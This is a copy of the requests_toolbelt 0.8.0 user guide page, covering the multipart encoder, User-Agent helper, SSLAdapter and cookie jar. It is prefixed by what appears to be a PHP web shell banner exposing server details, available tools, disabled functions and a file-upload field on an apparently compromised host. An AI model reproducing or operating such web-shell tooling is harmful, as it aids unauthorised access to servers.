| Server IP : 82.208.35.60 / Your IP : 216.73.217.33 Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31 System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64 User : studiokobylisy_cz ( 1008) PHP Version : 7.3.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /usr/local/share/doc/requests-toolbelt/ |
Upload File : |
<!DOCTYPE html>
<!--[if IE 8]><html class="no-js lt-ie9" lang="en" > <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js" lang="en" > <!--<![endif]-->
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>requests toolbelt — requests_toolbelt 0.8.0 documentation</title>
<script type="text/javascript" src="_static/js/modernizr.min.js"></script>
<script type="text/javascript">
var DOCUMENTATION_OPTIONS = {
URL_ROOT:'./',
VERSION:'0.8.0',
LANGUAGE:'None',
COLLAPSE_INDEX:false,
FILE_SUFFIX:'.html',
HAS_SOURCE: true,
SOURCELINK_SUFFIX: '.txt'
};
</script>
<script type="text/javascript" src="_static/jquery.js"></script>
<script type="text/javascript" src="_static/underscore.js"></script>
<script type="text/javascript" src="_static/doctools.js"></script>
<script type="text/javascript" src="_static/js/theme.js"></script>
<link rel="stylesheet" href="_static/css/theme.css" type="text/css" />
<link rel="stylesheet" href="_static/pygments.css" type="text/css" />
<link rel="index" title="Index" href="genindex.html" />
<link rel="search" title="Search" href="search.html" />
<link rel="next" title="Contributing to this project" href="contributing.html" />
<link rel="prev" title="requests toolbelt" href="index.html" />
</head>
<body class="wy-body-for-nav">
<div class="wy-grid-for-nav">
<nav data-toggle="wy-nav-shift" class="wy-nav-side">
<div class="wy-side-scroll">
<div class="wy-side-nav-search" >
<a href="index.html" class="icon icon-home"> requests_toolbelt
</a>
<div class="version">
0.8.0
</div>
<div role="search">
<form id="rtd-search-form" class="wy-form" action="search.html" method="get">
<input type="text" name="q" placeholder="Search docs" />
<input type="hidden" name="check_keywords" value="yes" />
<input type="hidden" name="area" value="default" />
</form>
</div>
</div>
<div class="wy-menu wy-menu-vertical" data-spy="affix" role="navigation" aria-label="main navigation">
<ul class="current">
<li class="toctree-l1 current"><a class="current reference internal" href="#">requests toolbelt</a><ul>
<li class="toctree-l2"><a class="reference internal" href="#multipart-form-data-encoder">multipart/form-data Encoder</a></li>
<li class="toctree-l2"><a class="reference internal" href="#user-agent-constructor">User-Agent constructor</a></li>
<li class="toctree-l2"><a class="reference internal" href="#ssladapter">SSLAdapter</a></li>
<li class="toctree-l2"><a class="reference internal" href="#cookies-forgetfulcookiejar">cookies/ForgetfulCookieJar</a></li>
<li class="toctree-l2"><a class="reference internal" href="#known-issues">Known Issues</a></li>
<li class="toctree-l2"><a class="reference internal" href="#contributing">Contributing</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="contributing.html">Contributing to this project</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="adapters.html">Transport Adapters</a></li>
<li class="toctree-l1"><a class="reference internal" href="authentication.html">Authentication</a></li>
<li class="toctree-l1"><a class="reference internal" href="deprecated.html">Deprecated Requests Utilities</a></li>
<li class="toctree-l1"><a class="reference internal" href="downloadutils.html">Utilities for Downloading Streaming Responses</a></li>
<li class="toctree-l1"><a class="reference internal" href="dumputils.html">Utilities for Dumping Information About Responses</a></li>
<li class="toctree-l1"><a class="reference internal" href="formdata.html">Utilities for Enhanced Form-Data Serialization</a></li>
<li class="toctree-l1"><a class="reference internal" href="exceptions.html">Custom Toolbelt Exceptions</a></li>
<li class="toctree-l1"><a class="reference internal" href="sessions.html">Specialized Sessions</a></li>
<li class="toctree-l1"><a class="reference internal" href="threading.html">Using requests with Threading</a></li>
<li class="toctree-l1"><a class="reference internal" href="uploading-data.html">Uploading Data</a></li>
<li class="toctree-l1"><a class="reference internal" href="user-agent.html">User-Agent Constructor</a></li>
</ul>
</div>
</div>
</nav>
<section data-toggle="wy-nav-shift" class="wy-nav-content-wrap">
<nav class="wy-nav-top" aria-label="top navigation">
<i data-toggle="wy-nav-top" class="fa fa-bars"></i>
<a href="index.html">requests_toolbelt</a>
</nav>
<div class="wy-nav-content">
<div class="rst-content">
<div role="navigation" aria-label="breadcrumbs navigation">
<ul class="wy-breadcrumbs">
<li><a href="index.html">Docs</a> »</li>
<li>requests toolbelt</li>
<li class="wy-breadcrumbs-aside">
<a href="_sources/user.rst.txt" rel="nofollow"> View page source</a>
</li>
</ul>
<hr/>
</div>
<div role="main" class="document" itemscope="itemscope" itemtype="http://schema.org/Article">
<div itemprop="articleBody">
<div class="section" id="requests-toolbelt">
<span id="user"></span><h1>requests toolbelt<a class="headerlink" href="#requests-toolbelt" title="Permalink to this headline">¶</a></h1>
<p>This is just a collection of utilities for <a class="reference external" href="https://github.com/kennethreitz/requests">python-requests</a>, but don’t
really belong in <code class="docutils literal"><span class="pre">requests</span></code> proper. The minimum tested requests version is
<code class="docutils literal"><span class="pre">2.1.0</span></code>. In reality, the toolbelt should work with <code class="docutils literal"><span class="pre">2.0.1</span></code> as well, but
some idiosyncracies prevent effective or sane testing on that version.</p>
<p><code class="docutils literal"><span class="pre">pip</span> <span class="pre">install</span> <span class="pre">requests-toolbelt</span></code> to get started!</p>
<div class="section" id="multipart-form-data-encoder">
<h2>multipart/form-data Encoder<a class="headerlink" href="#multipart-form-data-encoder" title="Permalink to this headline">¶</a></h2>
<p>The main attraction is a streaming multipart form-data object, <code class="docutils literal"><span class="pre">MultipartEncoder</span></code>.
Its API looks like this:</p>
<div class="highlight-python"><div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">requests_toolbelt</span> <span class="kn">import</span> <span class="n">MultipartEncoder</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="n">m</span> <span class="o">=</span> <span class="n">MultipartEncoder</span><span class="p">(</span>
<span class="n">fields</span><span class="o">=</span><span class="p">{</span><span class="s1">'field0'</span><span class="p">:</span> <span class="s1">'value'</span><span class="p">,</span> <span class="s1">'field1'</span><span class="p">:</span> <span class="s1">'value'</span><span class="p">,</span>
<span class="s1">'field2'</span><span class="p">:</span> <span class="p">(</span><span class="s1">'filename'</span><span class="p">,</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'file.py'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">),</span> <span class="s1">'text/plain'</span><span class="p">)}</span>
<span class="p">)</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="s1">'http://httpbin.org/post'</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">m</span><span class="p">,</span>
<span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s1">'Content-Type'</span><span class="p">:</span> <span class="n">m</span><span class="o">.</span><span class="n">content_type</span><span class="p">})</span>
</pre></div>
</div>
<p>You can also use <code class="docutils literal"><span class="pre">multipart/form-data</span></code> encoding for requests that don’t
require files:</p>
<div class="highlight-python"><div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">requests_toolbelt</span> <span class="kn">import</span> <span class="n">MultipartEncoder</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="n">m</span> <span class="o">=</span> <span class="n">MultipartEncoder</span><span class="p">(</span><span class="n">fields</span><span class="o">=</span><span class="p">{</span><span class="s1">'field0'</span><span class="p">:</span> <span class="s1">'value'</span><span class="p">,</span> <span class="s1">'field1'</span><span class="p">:</span> <span class="s1">'value'</span><span class="p">})</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="s1">'http://httpbin.org/post'</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">m</span><span class="p">,</span>
<span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s1">'Content-Type'</span><span class="p">:</span> <span class="n">m</span><span class="o">.</span><span class="n">content_type</span><span class="p">})</span>
</pre></div>
</div>
<p>Or, you can just create the string and examine the data:</p>
<div class="highlight-python"><div class="highlight"><pre><span></span><span class="c1"># Assuming `m` is one of the above</span>
<span class="n">m</span><span class="o">.</span><span class="n">to_string</span><span class="p">()</span> <span class="c1"># Always returns unicode</span>
</pre></div>
</div>
</div>
<div class="section" id="user-agent-constructor">
<h2>User-Agent constructor<a class="headerlink" href="#user-agent-constructor" title="Permalink to this headline">¶</a></h2>
<p>You can easily construct a requests-style <code class="docutils literal"><span class="pre">User-Agent</span></code> string:</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">requests_toolbelt</span> <span class="k">import</span> <span class="n">user_agent</span>
<span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
<span class="s1">'User-Agent'</span><span class="p">:</span> <span class="n">user_agent</span><span class="p">(</span><span class="s1">'my_package'</span><span class="p">,</span> <span class="s1">'0.0.1'</span><span class="p">)</span>
<span class="p">}</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'https://api.github.com/users'</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
</pre></div>
</div>
</div>
<div class="section" id="ssladapter">
<h2>SSLAdapter<a class="headerlink" href="#ssladapter" title="Permalink to this headline">¶</a></h2>
<p>The <code class="docutils literal"><span class="pre">SSLAdapter</span></code> was originally published on <a class="reference external" href="https://lukasa.co.uk/2013/01/Choosing_SSL_Version_In_Requests/">Cory Benfield’s blog</a>.
This adapter allows the user to choose one of the SSL protocols made available
in Python’s <code class="docutils literal"><span class="pre">ssl</span></code> module for outgoing HTTPS connections:</p>
<div class="highlight-python"><div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">requests_toolbelt</span> <span class="kn">import</span> <span class="n">SSLAdapter</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">ssl</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span>
<span class="n">s</span><span class="o">.</span><span class="n">mount</span><span class="p">(</span><span class="s1">'https://'</span><span class="p">,</span> <span class="n">SSLAdapter</span><span class="p">(</span><span class="n">ssl</span><span class="o">.</span><span class="n">PROTOCOL_TLSv1</span><span class="p">))</span>
</pre></div>
</div>
</div>
<div class="section" id="cookies-forgetfulcookiejar">
<h2>cookies/ForgetfulCookieJar<a class="headerlink" href="#cookies-forgetfulcookiejar" title="Permalink to this headline">¶</a></h2>
<p>The <code class="docutils literal"><span class="pre">ForgetfulCookieJar</span></code> prevents a particular requests session from storing
cookies:</p>
<div class="highlight-python"><div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">requests_toolbelt.cookies.forgetful</span> <span class="kn">import</span> <span class="n">ForgetfulCookieJar</span>
<span class="n">session</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span>
<span class="n">session</span><span class="o">.</span><span class="n">cookies</span> <span class="o">=</span> <span class="n">ForgetfulCookieJar</span><span class="p">()</span>
</pre></div>
</div>
</div>
<div class="section" id="known-issues">
<h2>Known Issues<a class="headerlink" href="#known-issues" title="Permalink to this headline">¶</a></h2>
<p>On Python 3.3.0 and 3.3.1, the standard library’s <code class="docutils literal"><span class="pre">http</span></code> module will fail
when passing an instance of the <code class="docutils literal"><span class="pre">MultipartEncoder</span></code>. This is fixed in later
minor releases of Python 3.3. Please consider upgrading to a later minor
version or Python 3.4. <em>There is absolutely nothing this library can do to
work around that bug.</em></p>
</div>
<div class="section" id="contributing">
<h2>Contributing<a class="headerlink" href="#contributing" title="Permalink to this headline">¶</a></h2>
<p>Please read the <a class="reference external" href="https://toolbelt.readthedocs.org/en/latest/contributing.html">suggested workflow</a> for
contributing to this project.</p>
</div>
</div>
</div>
</div>
<footer>
<div class="rst-footer-buttons" role="navigation" aria-label="footer navigation">
<a href="contributing.html" class="btn btn-neutral float-right" title="Contributing to this project" accesskey="n" rel="next">Next <span class="fa fa-arrow-circle-right"></span></a>
<a href="index.html" class="btn btn-neutral float-left" title="requests toolbelt" accesskey="p" rel="prev"><span class="fa fa-arrow-circle-left"></span> Previous</a>
</div>
<hr/>
<div role="contentinfo">
<p>
© Copyright 2015, Ian Cordasco, Cory Benfield
</p>
</div>
Built with <a href="http://sphinx-doc.org/">Sphinx</a> using a <a href="https://github.com/rtfd/sphinx_rtd_theme">theme</a> provided by <a href="https://readthedocs.org">Read the Docs</a>.
</footer>
</div>
</div>
</section>
</div>
<script type="text/javascript">
jQuery(function () {
SphinxRtdTheme.Navigation.enable(true);
});
</script>
</body>
</html>